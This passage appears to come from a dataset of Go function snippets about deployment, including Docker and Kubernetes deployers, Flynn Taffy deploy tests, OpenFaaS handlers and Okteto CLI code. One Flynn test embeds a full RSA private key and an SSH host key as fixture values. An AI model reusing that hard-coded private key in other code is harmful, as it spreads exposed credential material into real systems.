fn)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"could pack function %v (%s)\", name, fn)\n\t\t}\n\t\treturn httpClient.Up(dockerHTTP.UpOptions{\n\t\t\tBody: []byte(fn.Source),\n\t\t\tLang: fn.Language,\n\t\t\tName: name,\n\t\t\tPort: int(ports[0].ServiceBindingPort),\n\t\t\tHealtCheck: false,\n\t\t\tProject: project,\n\t\t})\n\t}\n\n\tworkdir := fmt.Sprintf(\"/tmp/fx-%d\", time.Now().Unix())\n\tdefer os.RemoveAll(workdir)\n\n\tif err := packer.PackIntoDir(fn, workdir); err != nil {\n\t\tlog.Fatalf(\"could not pack function %v: %v\", fn, err)\n\t\treturn err\n\t}\n\tif err := d.localClient.BuildImage(ctx, workdir, name); err != nil {\n\t\tlog.Fatalf(\"could not build image: %v\", err)\n\t\treturn err\n\t}\n\n\tnameWithTag := name + \":latest\"\n\tif err := d.localClient.ImageTag(ctx, name, nameWithTag); err != nil {\n\t\tlog.Fatalf(\"could not tag image: %v\", err)\n\t\treturn err\n\t}\n\n\t// when deploy a function on a bare Docker running without Kubernetes,\n\t// image would be built on-demand on host locally, so there is no need to\n\t// pull image from remote.\n\t// But it takes some times waiting image ready after image built, we retry to make sure it ready here\n\tvar imgInfo dockerTypes.ImageInspect\n\tif err := utils.RunWithRetry(func() error {\n\t\treturn d.localClient.InspectImage(ctx, name, &imgInfo)\n\t}, time.Second*1, 5); err != nil {\n\t\treturn err\n\t}\n\n\treturn d.localClient.StartContainer(ctx, name, name, ports)\n}", "func (s *TaffyDeploySuite) TestPrivateDeploys(t *c.C) {\n\tassertMeta := func(m map[string]string, k string, checker c.Checker, args ...interface{}) {\n\t\tv, ok := m[k]\n\t\tt.Assert(ok, c.Equals, true)\n\t\tt.Assert(v, checker, args...)\n\t}\n\n\tclient := s.controllerClient(t)\n\n\tgithub := map[string]string{\n\t\t\"user\": \"flynn-examples\",\n\t\t\"repo\": \"nodejs-flynn-example\",\n\t\t\"branch\": \"master\",\n\t\t\"rev\": \"5e177fec38fbde7d0a03e9e8dccf8757c68caa11\",\n\t\t\"clone_url\": \"[email protected]:/flynn-examples/nodejs-flynn-example.git\",\n\t}\n\n\tapp := &ct.App{}\n\tt.Assert(client.CreateApp(app), c.IsNil)\n\tdebugf(t, \"created app %s (%s)\", app.Name, app.ID)\n\n\tsshKey := `MIIEpAIBAAKCAQEA2UnQ/17TfzQRt4HInuP1SYz/tSNaCGO3NDIPLydVu8mmxuKT\nzlJtH3pz3uWpMEKdZtSjV+QngJL8OFzanQVZtRBJjF2m+cywHJoZA5KsplMon+R+\nQmVqu92WlcRdkcft1F1CLoTXTmHHfvuhOkG6GgJONNLP9Z14EsQ7MbBh5guafWOX\nkdGFajyd+T2aj27yIkK44WjWqiLjxRIAtgOJrmd/3H0w3E+O1cgNrA2gkFEUhvR1\nOHz8SmugYva0VZWKvxZ6muZvn26L1tajYsCntCRR3/a74cAnVFAXjqSatL6YTbSH\nsdtE91kEC73/U4SL3OFdDiCrAvXpJ480C2/GQQIDAQABAoIBAHNQNVYRIPS00WIt\nwiZwm8/4wAuFQ1aIdMWCe4Ruv5T1I0kRHZe1Lqwx9CQqhWtTLu1Pk5AlSMF3P9s5\ni9sg58arahzP5rlS43OKZBP9Vxq9ryWLwWXDJK2mny/EElQ3YgP9qg29+fVi9thw\n+dNM5lK/PnnSFwMmGn77HN712D6Yl3CCJJjsAunTfPzR9hyEqX5YvUB5eq/TNhXe\nsqrKcGORIoNfv7WohlFSkTAXIvoMxmFWXg8piZ9/b1W4NwvO4wup3ZSErIk0AQ97\nHtyXJIXgtj6pLkPqvPXPGvS3quYAddNxvGIdvge7w5LHnrxOzdqbeDAVmJLVwVlv\noo+7aQECgYEA8ZliUuA8q86SWE0N+JZUqbTvE6VzyWG0/u0BJYDkH7yHkbpFOIEy\nKTw048WOZLQ6/wPwL8Hb090Cas/6pmRFMgCedarzXc9fvGEwW95em7jA4AyOVBMC\nKIAmaYkm6LcUFeyR6ektZeCkT0MNoi4irjBC3/hMRyZu+6RL4jXxHLkCgYEA5j13\n2nkbV99GtRRjyGB7uMkrhMere2MekANXEm4dW+LZFZUda4YCqdzfjDfBTxsuyGqi\nDnvI7bZFzIQPiiEzvL2Mpiy7JqxmPLGmwzxDp3z75T5vOrGs4g9IQ7yDjp5WPzjz\nKCJJHn8Qt9tNZb5h0hBM+NWLT0c1XxtTIVFfgckCgYAfNpTYZjYQcFDB7bqXWjy3\n7DNTE3YhF2l94fra8IsIep/9ONaGlVJ4t1mR780Uv6A7oDOgx+fxuET+rb4RTzUN\nX70ZMKvee9M/kELiK5mHftgUWirtO8N0nhHYYqrPOA/1QSoc0U5XMi2oO96ADHvY\ni02oh/i63IFMK47OO+/ZqQKBgQCY8bY/Y/nc+o4O1hee0TD+xGvrTXRFh8eSpRVf\nQdSw6FWKt76OYbw9OGMr0xHPyd/e9K7obiRAfLeLLyLfgETNGSFodghwnU9g/CYq\nRUsv5J+0XjAnTkXo+Xvouz6tK9NhNiSYwYXPA1uItt6IOtriXz+ygLCFHml+3zju\nxg5quQKBgQCEL95Di6WD+155gEG2NtqeAOWhgxqAbGjFjfpV+pVBksBCrWOHcBJp\nQAvAdwDIZpqRWWMcLS7zSDrzn3ZscuHCMxSOe40HbrVdDUee24/I4YQ+R8EcuzcA\n3IV9ai+Bxs6PvklhXmarYxJl62LzPLyv0XFscGRes/2yIIxNfNzFug==`\n\n\tenv := map[string]string{\n\t\t\"SOMEVAR\": \"SOMEVAL\",\n\t\t\"SSH_CLIENT_HOSTS\": \"github.com,192.30.252.131 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAq2A7hRGmdnm9tUDbO9IDSwBK6TbQa+PXYPCPy6rbTrTtw7PHkccKrpp0yVhp5HdEIcKr6pLlVDBfOLX9QUsyCOV0wzfjIJNlGEYsdlLJizHhbn2mUjvSAHQqZETYP81eFzLQNnPHt4EVVUh7VfDESU84KezmD5QlWpXLmvU31/yMf+Se8xhHTvKSCZIFImWwoG6mbUoWf9nzpIoaSjB+weqqUUmpaaasXVal72J+UX2B+2RPW3RcT0eOzQgqlJL3RKrTJvdsjE3JEAvGq3lGHSZXy28G3skua2SmVi/w4yCE6gbODqnTWlg7+wC604ydGXA8VJiS5ap43JXiUFFAaQ==\",\n\t\t\"SSH_CLIENT_KEY\": fmt.Sprintf(\"-----BEGIN RSA PRIVATE KEY-----\\n%s\\n-----END RSA PRIVATE KEY-----\\n\", sshKey),\n\t}\n\n\tmeta := map[string]string{\n\t\t\"github\": \"true\",\n\t\t\"github_user\": github[\"user\"],\n\t\t\"github_repo\": github[\"repo\"],\n\t}\n\ts.deployWithTaffy(t, app, env, meta, github)\n\n\trelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(release, c.NotNil)\n\tt.Assert(release.Meta, c.NotNil)\n\tassertMeta(release.Meta, \"git\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"clone_url\", c.Equals, github[\"clone_url\"])\n\tassertMeta(release.Meta, \"branch\", c.Equals, github[\"branch\"])\n\tassertMeta(release.Meta, \"rev\", c.Equals, github[\"rev\"])\n\tassertMeta(release.Meta, \"taffy_job\", c.Not(c.Equals), \"\")\n\tassertMeta(release.Meta, \"github\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"github_user\", c.Equals, github[\"user\"])\n\tassertMeta(release.Meta, \"github_repo\", c.Equals, github[\"repo\"])\n\tt.Assert(release.Env, c.NotNil)\n\tassertMeta(release.Env, \"SOMEVAR\", c.Equals, \"SOMEVAL\")\n}", "func Deploy(cfg config.Configer) HandleFunc {\n\treturn func(ctx *cli.Context) (err error) {\n\t\tfuncFile := ctx.Args().First()\n\t\tname := ctx.String(\"name\")\n\t\tport := ctx.Int(\"port\")\n\t\tforce := ctx.Bool(\"force\")\n\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tlog.Fatalf(\"fatal error happened: %v\", r)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\tlog.Fatalf(\"deploy function %s (%s) failed: %v\", err)\n\t\t\t}\n\t\t\tlog.Infof(\"function %s (%s) deployed successfully\", name, funcFile)\n\t\t}()\n\n\t\tif port < PortRange.min || port > PortRange.max {\n\t\t\treturn fmt.Errorf(\"invalid port number: %d, port number should in range of %d - %d\", port, PortRange.min, PortRange.max)\n\t\t}\n\t\thosts, err := cfg.ListActiveMachines()\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"list active machines failed\")\n\t\t}\n\n\t\tif len(hosts) == 0 {\n\t\t\tlog.Warnf(\"no active machines\")\n\t\t\treturn nil\n\t\t}\n\n\t\t// try to stop service firt\n\t\tif force {\n\t\t\tfor n, host := range hosts {\n\t\t\t\tif err := api.MustCreate(host.Host, constants.AgentPort).\n\t\t\t\t\tStop(name); err != nil {\n\t\t\t\t\tlog.Infof(\"stop function %s on machine %s failed: %v\", name, n, err)\n\t\t\t\t} else {\n\t\t\t\t\tlog.Infof(\"stop function %s on machine %s: %v\", name, n, constants.CheckedSymbol)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tbody, err := ioutil.ReadFile(funcFile)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"read source failed\")\n\t\t}\n\t\tlang := utils.GetLangFromFileName(funcFile)\n\n\t\tworkdir, err := ioutil.TempDir(\"/tmp\", \"fx-wd\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := packer.PackIntoDir(lang, string(body), workdir); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tvar deployer deploy.Deployer\n\t\tif os.Getenv(\"KUBECONFIG\") != \"\" {\n\t\t\tdeployer, err = k8sDeployer.Create()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t} else {\n\t\t\tbctx := context.Background()\n\t\t\tdeployer, err = dockerDeployer.CreateClient(bctx)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\t// TODO multiple ports support\n\t\treturn deployer.Deploy(\n\t\t\tcontext.Background(),\n\t\t\tworkdir,\n\t\t\tname,\n\t\t\t[]int32{int32(port)},\n\t\t)\n\t}\n}", "func VerifyDeployment(steveClient *steveV1.Client, deployment *steveV1.SteveAPIObject) error {\n\terr := kwait.Poll(5*time.Second, 5*time.Minute, func() (done bool, err error) {\n\t\tif err != nil {\n\t\t\treturn false, nil\n\t\t}\n\t\tdeploymentResp, err := steveClient.SteveType(DeploymentSteveType).ByID(deployment.Namespace + \"/\" + deployment.Name)\n\t\tif err != nil {\n\t\t\treturn false, nil\n\t\t}\n\t\tdeployment := &appv1.Deployment{}\n\t\terr = steveV1.ConvertToK8sType(deploymentResp.JSONResp, deployment)\n\t\tif err != nil {\n\t\t\treturn false, nil\n\t\t}\n\t\tif *deployment.Spec.Replicas == deployment.Status.AvailableReplicas {\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, nil\n\t})\n\treturn err\n}", "func (srv *Service) CreateDeployment(id string, role string, deployName string, replicas *int32, image string, containerPort int32) (interface{}, error) {\n\t//check the number os deployments by the user\n\tdeployments, err := srv.mongoRepository.GetDeploymentsFromUser(id)\n\n\tif err != nil {\n\t\t//return the error sent by the repository\n\t\treturn nil, err\n\t}\n\n\t//check if user has already the max number os deployments\n\tif role != \"admin\" {\n\t\tif len(deployments) > 3 {\n\t\t\t//return a custom error\n\t\t\treturn nil, &pkg.Error{Err: err, Code: http.StatusBadRequest, Message: \"Max number 3 deployments permited per user\"}\n\t\t}\n\t}\n\n\tnamespaceUUID := \"namespace-\" + deployName //generate name for namespace\n\n\t//call driven adapter responsible for creating namespaces inside the kubernetes cluster\n\t_, err = srv.kubernetesRepository.CreateNamespace(namespaceUUID)\n\tif err != nil {\n\t\t//return error from the kubernetes repository method\n\t\treturn nil, err\n\t}\n\n\tdeploymentUUID := \"deployment-\" + deployName //generate name for the deployment\n\n\t//call driven adapter responsible for creating deployments inside the kubernetes cluster\n\t_, err = srv.kubernetesRepository.CreateDeployment(namespaceUUID, deploymentUUID, replicas, image, containerPort)\n\tif err != nil {\n\t\t//creation of the deployment went wrong, delete everything inside it's namespace\n\t\t//call driven adapter responsible for deleting namespaces inside the kubernetes cluster\n\t\t_, _ = srv.kubernetesRepository.DeleteNamespace(namespaceUUID)\n\n\t\t//return error from the kubernetes repository method\n\t\treturn nil, err\n\t}\n\n\tserviceUUID := \"service-\" + deployName //generate name for the service\n\t//create service to expose the deployment\n\t_, err = srv.kubernetesRepository.CreateClusterIPService(namespaceUUID, serviceUUID, containerPort)\n\tif err != nil {\n\t\t//creation of the service went wrong, delete everything inside it's namespace\n\t\t//call driven adapter responsible for deleting namespaces inside the kubernetes cluster\n\t\t_, deperr := srv.kubernetesRepository.DeleteNamespace(namespaceUUID)\n\t\tif deperr != nil {\n\t\t\treturn nil, deperr\n\t\t}\n\t\t//return error from the kubernetes repository method\n\t\treturn nil, err\n\t}\n\n\tingressUUID := \"ingress-\" + deployName //generate name for the service\n\t//create ingress to expose the service\n\t_, err = srv.kubernetesRepository.CreateIngress(namespaceUUID, ingressUUID, deployName)\n\tif err != nil {\n\t\t//creation of the ingress went wrong, delete everything inside it's namespace\n\t\t//call driven adapter responsible for deleting namespaces inside the kubernetes cluster\n\t\t_, deperr := srv.kubernetesRepository.DeleteNamespace(namespaceUUID)\n\t\tif deperr != nil {\n\t\t\treturn nil, deperr\n\t\t}\n\t\t//return error from the kubernetes repository method\n\t\treturn nil, err\n\t}\n\n\tsrv.mongoRepository.InsertDeployment(deployName, id, image)\n\tif err != nil {\n\t\t//delete namespace\n\t\t_, deperr := srv.kubernetesRepository.DeleteNamespace(namespaceUUID)\n\t\tif deperr != nil {\n\t\t\treturn nil, deperr\n\t\t}\n\t\t//return error from the mongo repository method\n\t\treturn nil, err\n\t}\n\n\t//return app uuid\n\treturn deployName, nil\n}", "func (a *apiLoadBalancers) Deploy() error {\n\treturn a.containers.Deploy()\n}", "func Deploy(ctx context.Context) *cobra.Command {\n\toptions := &Options{}\n\n\tcmd := &cobra.Command{\n\t\tUse: \"deploy\",\n\t\tShort: \"Execute the list of commands specified in the Okteto manifest to deploy the application\",\n\t\tArgs: utils.NoArgsAccepted(\"https://okteto.com/docs/reference/cli/#version\"),\n\t\tHidden: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\t// This is needed because the deploy command needs the original kubeconfig configuration even in the execution within another\n\t\t\t// deploy command. If not, we could be proxying a proxy and we would be applying the incorrect deployed-by label\n\t\t\tos.Setenv(model.OktetoWithinDeployCommandContextEnvVar, \"false\")\n\n\t\t\tif err := contextCMD.LoadManifestV2WithContext(ctx, options.Namespace, options.ManifestPath); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif okteto.IsOkteto() {\n\t\t\t\tcreate, err := utils.ShouldCreateNamespace(ctx, okteto.Context().Namespace)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tif create {\n\t\t\t\t\tnsCmd, err := namespace.NewCommand()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tnsCmd.Create(ctx, &namespace.CreateOptions{Namespace: okteto.Context().Namespace})\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcwd, err := os.Getwd()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"failed to get the current working directory: %w\", err)\n\t\t\t}\n\n\t\t\taddEnvVars(ctx, cwd)\n\t\t\tif options.Name == \"\" {\n\t\t\t\toptions.Name = utils.InferApplicationName(cwd)\n\t\t\t}\n\n\t\t\t// Look for a free local port to start the proxy\n\t\t\tport, err := model.GetAvailablePort(\"localhost\")\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not find a free port to start proxy server: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\toktetoLog.Debugf(\"found available port %d\", port)\n\n\t\t\t// TODO for now, using self-signed certificates\n\t\t\tcert, err := tls.X509KeyPair(cert, key)\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not read certificate: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Generate a token for the requests done to the proxy\n\t\t\tsessionToken := uuid.NewString()\n\n\t\t\tkubeconfig := newKubeConfig()\n\t\t\tclusterConfig, err := kubeconfig.Read()\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not read kubeconfig file: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\thandler, err := getProxyHandler(options.Name, sessionToken, clusterConfig)\n\t\t\tif err != nil {\n\t\t\t\toktetoLog.Infof(\"could not configure local proxy: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\ts := &http.Server{\n\t\t\t\tAddr: fmt.Sprintf(\":%d\", port),\n\t\t\t\tHandler: handler,\n\t\t\t\tReadTimeout: 5 * time.Second,\n\t\t\t\tWriteTimeout: 10 * time.Second,\n\t\t\t\tIdleTimeout: 120 * time.Second,\n\t\t\t\tTLSConfig: &tls.Config{\n\t\t\t\t\tCertificates: []tls.Certificate{cert},\n\n\t\t\t\t\t// Recommended security configuration by DeepSource\n\t\t\t\t\tMinVersion: tls.VersionTLS12,\n\t\t\t\t\tMaxVersion: tls.VersionTLS13,\n\t\t\t\t},\n\t\t\t}\n\n\t\t\tc := &deployCommand{\n\t\t\t\tgetManifest: contextCMD.GetManifest,\n\n\t\t\t\tkubeconfig: kubeconfig,\n\t\t\t\texecutor: utils.NewExecutor(oktetoLog.GetOutputFormat()),\n\t\t\t\tproxy: newProxy(proxyConfig{\n\t\t\t\t\tport: port,\n\t\t\t\t\ttoken: sessionToken,\n\t\t\t\t}, s),\n\t\t\t\ttempKubeconfigFile: fmt.Sprintf(tempKubeConfigTemplate, config.GetUserHomeDir(), options.Name),\n\t\t\t\tk8sClientProvider: okteto.NewK8sClientProvider(),\n\t\t\t}\n\t\t\treturn c.runDeploy(ctx, cwd, options)\n\t\t},\n\t}\n\n\tcmd.Flags().StringVar(&options.Name, \"name\", \"\", \"application name\")\n\tcmd.Flags().StringVarP(&options.ManifestPath, \"file\", \"f\", \"\", \"path to the okteto manifest file\")\n\tcmd.Flags().StringVarP(&options.Namespace, \"namespace\", \"n\", \"\", \"overwrites the namespace where the application is deployed\")\n\n\tcmd.Flags().StringArrayVarP(&options.Variables, \"var\", \"v\", []string{}, \"set a variable (can be set more than once)\")\n\tcmd.Flags().BoolVarP(&options.Build, \"build\", \"\", false, \"force build of images when deploying the app\")\n\tcmd.Flags().MarkHidden(\"build\")\n\n\treturn cmd\n}", "func (s *TaffyDeploySuite) TestDeploys(t *c.C) {\n\tclient := s.controllerClient(t)\n\n\tgithub := map[string]string{\n\t\t\"user_login\": \"flynn-examples\",\n\t\t\"repo_name\": \"go-flynn-example\",\n\t\t\"ref\": \"master\",\n\t\t\"sha\": \"a2ac6b059e1359d0e974636935fda8995de02b16\",\n\t\t\"clone_url\": \"https://github.com/flynn-examples/go-flynn-example.git\",\n\t}\n\n\t// initial deploy\n\n\tapp := &ct.App{\n\t\tMeta: map[string]string{\n\t\t\t\"type\": \"github\",\n\t\t\t\"user_login\": github[\"user_login\"],\n\t\t\t\"repo_name\": github[\"repo_name\"],\n\t\t\t\"ref\": github[\"ref\"],\n\t\t\t\"sha\": github[\"sha\"],\n\t\t\t\"clone_url\": github[\"clone_url\"],\n\t\t},\n\t}\n\tt.Assert(client.CreateApp(app), c.IsNil)\n\tdebugf(t, \"created app %s (%s)\", app.Name, app.ID)\n\n\ts.deployWithTaffy(t, app, github)\n\n\t_, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\n\t// second deploy\n\n\tgithub[\"sha\"] = \"2bc7e016b1b4aae89396c898583763c5781e031a\"\n\n\trelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\n\trelease = &ct.Release{\n\t\tEnv: release.Env,\n\t\tProcesses: release.Processes,\n\t}\n\tt.Assert(client.CreateRelease(release), c.IsNil)\n\tt.Assert(client.SetAppRelease(app.ID, release.ID), c.IsNil)\n\n\ts.deployWithTaffy(t, app, github)\n\n\tnewRelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(newRelease.ID, c.Not(c.Equals), release.ID)\n\trelease.Env[\"SLUG_URL\"] = newRelease.Env[\"SLUG_URL\"] // SLUG_URL will be different\n\tt.Assert(release.Env, c.DeepEquals, newRelease.Env)\n\tt.Assert(release.Processes, c.DeepEquals, newRelease.Processes)\n}", "func MakeDeployHandler(client *containerd.Client, cni gocni.CNI, secretMountPath string, alwaysPull bool) func(w http.ResponseWriter, r *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\tif r.Body == nil {\n\t\t\thttp.Error(w, \"expected a body\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tdefer r.Body.Close()\n\n\t\tbody, _ := ioutil.ReadAll(r.Body)\n\t\tlog.Printf(\"[Deploy] request: %s\\n\", string(body))\n\n\t\treq := types.FunctionDeployment{}\n\t\terr := json.Unmarshal(body, &req)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"[Deploy] - error parsing input: %s\\n\", err)\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\n\t\t\treturn\n\t\t}\n\n\t\tnamespace := getRequestNamespace(req.Namespace)\n\n\t\t// Check if namespace exists, and it has the openfaas label\n\t\tvalid, err := validNamespace(client.NamespaceService(), namespace)\n\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tif !valid {\n\t\t\thttp.Error(w, \"namespace not valid\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tnamespaceSecretMountPath := getNamespaceSecretMountPath(secretMountPath, namespace)\n\t\terr = validateSecrets(namespaceSecretMountPath, req.Secrets)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\tname := req.Service\n\t\tctx := namespaces.WithNamespace(context.Background(), namespace)\n\n\t\tdeployErr := deploy(ctx, req, client, cni, namespaceSecretMountPath, alwaysPull)\n\t\tif deployErr != nil {\n\t\t\tlog.Printf(\"[Deploy] error deploying %s, error: %s\\n\", name, deployErr)\n\t\t\thttp.Error(w, deployErr.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t}\n}", "func (mr *MockDeployedEnvServicesListerMockRecorder) ListDeployedServices(appName, envName interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ListDeployedServices\", reflect.TypeOf((*MockDeployedEnvServicesLister)(nil).ListDeployedServices), appName, envName)\n}", "func isAuthorizedToDeploy(ctx coretypes.Sandbox) bool {\n\tif ctx.Caller() == ctx.ChainOwnerID() {\n\t\t// chain owner is always authorized\n\t\treturn true\n\t}\n\tif !ctx.Caller().IsAddress() {\n\t\t// smart contract from the same chain is always authorize\n\t\treturn ctx.Caller().MustContractID().ChainID() == ctx.ContractID().ChainID()\n\t}\n\treturn collections.NewMap(ctx.State(), VarDeployPermissions).MustHasAt(ctx.Caller().Bytes())\n}", "func (d *Deployment) PostDeploy(version string) (string, error) {\n\tif os.Geteuid() == 0 && d.cfg.Insecure {\n\t\treturn \"\", fmt.Errorf(\n\t\t\t\"Refusing to execute post-deploy command from insecure %q configuration as root\",\n\t\t\td.appName)\n\t}\n\tif d.cfg.Scripts[\"postdeploy\"].Cmd != \"\" {\n\t\tartifactPath, _ := makeArtifactPath(d.artifactDir, d.appName, version, d.acfg.Extension)\n\t\tversionDir, _ := makeReleasePath(d.releaseDir, version)\n\t\tcmdlineArgs := substituteVars(d.cfg.Scripts[\"postdeploy\"].Args,\n\t\t\tvarValues{artifactPath: artifactPath, versionDir: versionDir})\n\t\treturn sysCommand(versionDir, d.cfg.Scripts[\"postdeploy\"].Cmd, cmdlineArgs)\n\t}\n\treturn \"\", nil\n}", "func (r Runner) Deploy(deploymentName string, manifestFilename string) error {\n\treturn r.DeployWithFlags(deploymentName, manifestFilename)\n}", "func (d *Deployer) Deploy(namespace, rcName string) error {\n\t// Look up the new deployment.\n\tto, err := d.getDeployment(namespace, rcName)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"couldn't get deployment %s: %v\", rcName, err)\n\t}\n\n\t// Decode the config from the deployment.\n\t// TODO: Remove this once we are sure there are no internal versions of configs serialized in DC\n\tconfig, err := appsserialization.DecodeDeploymentConfig(to)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"couldn't decode deployment config from deployment %s: %v\", to.Name, err)\n\t}\n\n\t// Get a strategy for the deployment.\n\ts, err := d.strategyFor(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// New deployments must have a desired replica count.\n\tdesiredReplicas, hasDesired := deploymentDesiredReplicas(to)\n\tif !hasDesired {\n\t\treturn fmt.Errorf(\"deployment %s has already run to completion\", to.Name)\n\t}\n\n\t// Find all deployments for the config.\n\tunsortedDeployments, err := d.getDeployments(namespace, config.Name)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"couldn't get controllers in namespace %s: %v\", namespace, err)\n\t}\n\tdeployments := make([]*corev1.ReplicationController, 0, len(unsortedDeployments.Items))\n\tfor i := range unsortedDeployments.Items {\n\t\tdeployments = append(deployments, &unsortedDeployments.Items[i])\n\t}\n\n\t// Sort all the deployments by version.\n\tsort.Sort(appsutil.ByLatestVersionDesc(deployments))\n\n\t// Find any last completed deployment.\n\tvar from *corev1.ReplicationController\n\tfor _, candidate := range deployments {\n\t\tif candidate.Name == to.Name {\n\t\t\tcontinue\n\t\t}\n\t\tif appsutil.IsCompleteDeployment(candidate) {\n\t\t\tfrom = candidate\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif appsutil.DeploymentVersionFor(to) < appsutil.DeploymentVersionFor(from) {\n\t\treturn fmt.Errorf(\"deployment %s is older than %s\", to.Name, from.Name)\n\t}\n\n\t// Scale down any deployments which aren't the new or last deployment.\n\tfor _, candidate := range deployments {\n\t\t// Skip the from/to deployments.\n\t\tif candidate.Name == to.Name {\n\t\t\tcontinue\n\t\t}\n\t\tif from != nil && candidate.Name == from.Name {\n\t\t\tcontinue\n\t\t}\n\t\t// Skip the deployment if it's already scaled down.\n\t\tif candidate.Spec.Replicas == nil || *candidate.Spec.Replicas == 0 {\n\t\t\tcontinue\n\t\t}\n\t\t// Scale the deployment down to zero.\n\t\tretryWaitParams := kscale.NewRetryParams(1*time.Second, 120*time.Second)\n\t\tif err := d.scaler.Scale(candidate.Namespace, candidate.Name, uint(0), &kscale.ScalePrecondition{Size: -1, ResourceVersion: \"\"}, retryWaitParams, retryWaitParams, corev1.SchemeGroupVersion.WithResource(\"replicationcontrollers\"), false); err != nil {\n\t\t\tfmt.Fprintf(d.errOut, \"error: Couldn't scale down prior deployment %s: %v\\n\", appsutil.LabelForDeployment(candidate), err)\n\t\t} else {\n\t\t\tfmt.Fprintf(d.out, \"--> Scaled older deployment %s down\\n\", candidate.Name)\n\t\t}\n\t}\n\n\tif d.until == \"start\" {\n\t\treturn strategy.NewConditionReachedErr(\"Ready to start deployment\")\n\t}\n\n\t// Perform the deployment.\n\tif err := s.Deploy(from, to, int(desiredReplicas)); err != nil {\n\t\treturn err\n\t}\n\tfmt.Fprintln(d.out, \"--> Success\")\n\treturn nil\n}", "func (m *MockCdkClient) DeployApp(appDir string, context []string) (cdk.ProgressStream, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DeployApp\", appDir, context)\n\tret0, _ := ret[0].(cdk.ProgressStream)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (eng *Engine) runDeploy(baseCtx context.Context) (err error) {\n\tctx, cancel := context.WithCancel(baseCtx)\n\tdefer cancel()\n\n\tdeployCh := eng.fanIn(func(shipper Shipper) chan error {\n\t\treturn shipper.ShipIt(ctx)\n\t})\n\n\tfor err = range deployCh {\n\t\tfmt.Fprintf(os.Stderr, \"ERROR: %v\\n\", err)\n\t}\n\n\treturn\n}", "func (ac *applicationController) TriggerPipelineBuildDeploy(accounts models.Accounts, w http.ResponseWriter, r *http.Request) {\n\t// swagger:operation POST /applications/{appName}/pipelines/build-deploy application triggerPipelineBuildDeploy\n\t// ---\n\t// summary: Run a build-deploy pipeline for a given application and branch\n\t// parameters:\n\t// - name: appName\n\t// in: path\n\t// description: Name of application\n\t// type: string\n\t// required: true\n\t// - name: PipelineParametersBuild\n\t// description: Pipeline parameters\n\t// in: body\n\t// required: true\n\t// schema:\n\t// \"$ref\": \"#/definitions/PipelineParametersBuild\"\n\t// - name: Impersonate-User\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test users (Required if Impersonate-Group is set)\n\t// type: string\n\t// required: false\n\t// - name: Impersonate-Group\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test group (Required if Impersonate-User is set)\n\t// type: array\n\t// items:\n\t// type: string\n\t// required: false\n\t// responses:\n\t// \"200\":\n\t// description: Successful trigger pipeline\n\t// schema:\n\t// \"$ref\": \"#/definitions/JobSummary\"\n\t// \"403\":\n\t// description: \"Forbidden\"\n\t// \"404\":\n\t// description: \"Not found\"\n\tappName := mux.Vars(r)[\"appName\"]\n\n\thandler := ac.applicationHandlerFactory(accounts)\n\tjobSummary, err := handler.TriggerPipelineBuildDeploy(r.Context(), appName, r)\n\n\tif err != nil 